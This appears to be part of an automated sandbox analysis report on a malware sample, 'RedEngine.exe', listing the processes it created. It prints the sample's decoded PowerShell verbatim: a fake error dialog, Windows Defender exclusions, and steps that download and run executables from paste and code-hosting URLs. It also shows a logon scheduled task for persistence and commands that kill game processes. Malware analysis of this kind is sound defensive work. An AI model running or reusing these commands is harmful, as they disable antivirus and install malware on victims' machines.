Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\user\Local"

Adds extensions / path to Windows Defender exclusion list

Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe','.py'""
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe','.py'""

Encrypted powershell cmdline option found

Source: C:\Users\user\Desktop\RedEngine.exe	Process created: Base64 decoded <#blw#>Start-Process powershell -WindowStyle Hidden -ArgumentList "Add-Type -AssemblyName System.Windows.Forms;<#atr#>[System.Windows.Forms.MessageBox]::Show('Error #819: Cannot start due to missing dependencies, please install all the dependencies required.','','OK','Error')<#bqs#>;";<#emv#> Add-MpPreference <#ujf#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#uqm#> -Force <#wwx#>;$wc = (New-Object System.Net.WebClient);$lnk = $wc.DownloadString('https://rentry.org/pancek61111111111111/raw').Split([string[]]"`r`n", [StringSplitOptions]::None); $fn = [System.IO.Path]::GetRandomFileName(); for ($i=0; $i -lt $lnk.Length; $i++) { $wc.DownloadFile($lnk[$i], <#mct#> (Join-Path <#jmi#> -Path $env:AppData <#ign#> -ChildPath ($fn + $i.ToString() + '.exe'))) }<#vix#>; for ($i=0; $i -lt $lnk.Length; $i++) { Start-Process -FilePath <#wet#> (Join-Path -Path $env:AppData <#vvx#> -ChildPath ($fn + $i.ToString() + '.exe')) } <#xli#>
Source: C:\Users\user\Desktop\RedEngine.exe	Process created: Base64 decoded <#blw#>Start-Process powershell -WindowStyle Hidden -ArgumentList "Add-Type -AssemblyName System.Windows.Forms;<#atr#>[System.Windows.Forms.MessageBox]::Show('Error #819: Cannot start due to missing dependencies, please install all the dependencies required.','','OK','Error')<#bqs#>;";<#emv#> Add-MpPreference <#ujf#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#uqm#> -Force <#wwx#>;$wc = (New-Object System.Net.WebClient);$lnk = $wc.DownloadString('https://rentry.org/pancek61111111111111/raw').Split([string[]]"`r`n", [StringSplitOptions]::None); $fn = [System.IO.Path]::GetRandomFileName(); for ($i=0; $i -lt $lnk.Length; $i++) { $wc.DownloadFile($lnk[$i], <#mct#> (Join-Path <#jmi#> -Path $env:AppData <#ign#> -ChildPath ($fn + $i.ToString() + '.exe'))) }<#vix#>; for ($i=0; $i -lt $lnk.Length; $i++) { Start-Process -FilePath <#wet#> (Join-Path -Path $env:AppData <#vvx#> -ChildPath ($fn + $i.ToString() + '.exe')) } <#xli#>			Jump to behavior

Source: C:\Users\user\Desktop\RedEngine.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAbAB3ACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGEAdAByACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARQByAHIAbwByACAAIwA4ADEAOQA6ACAAQwBhAG4AbgBvAHQAIABzAHQAYQByAHQAIABkAHUAZQAgAHQAbwAgAG0AaQBzAHMAaQBuAGcAIABkAGUAcABlAG4AZABlAG4AYwBpAGUAcwAsACAAcABsAGUAYQBzAGUAIABpAG4AcwB0AGEAbABsACAAYQBsAGwAIAB0AGgAZQAgAGQAZQBwAGUAbgBkAGUAbgBjAGkAZQBzACAAcgBlAHEAdQBpAHIAZQBkAC4AJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAGIAcQBzACMAPgA7ACIAOwA8ACMAZQBtAHYAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwB1AGoAZgAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwB1AHEAbQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB3AHcAeAAjAD4AOwAkAHcAYwAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7ACQAbABuAGsAIAA9ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAbgB0AHIAeQAuAG8AcgBnAC8AcABhAG4AYwBlAGsANgAxADEAMQAxADEAMQAxADEAMQAxADEAMQAxAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwBtAGMAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGoAbQBpACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGkAZwBuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwB2AGkAeAAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB3AGUAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdgB2AHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAHgAbABpACMAPgA="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#atr#>[System.Windows.Forms.MessageBox]::Show('Error #819: Cannot start due to missing dependencies, please install all the dependencies required.','','OK','Error')<#bqs#>;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe "C:\Users\user\AppData\Roaming\mgne4i3n.t1d0.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe "C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe "C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\E8C.tmp\E8D.tmp\E8E.bat C:\Users\user\AppData\Roaming\mgne4i3n.t1d1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Process created: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe "C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 1251
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /query /tn "MyBatchScript"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "MyBatchScript" /tr "\"C:\Users\user\AppData\Roaming\runHidden.vbs\"" /sc onlogon /rl highest /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/goodfuture91/goodfuture511/raw/64c80586bb78a4f95934a071956e2dccca8efe42/p.rar', 'C:\Users\user~1\AppData\Local\Temp\downloaded_archive.rar')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "tf_win64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im tf_win64.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "dota2.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im dota2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "cs2.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im cs2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "RustClient.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im RustClient.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "GTA5.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im GTA5.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "tf_win64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "RustClient.exe"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "GTA5.exe"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im tf_win64.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "cs2.exe"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
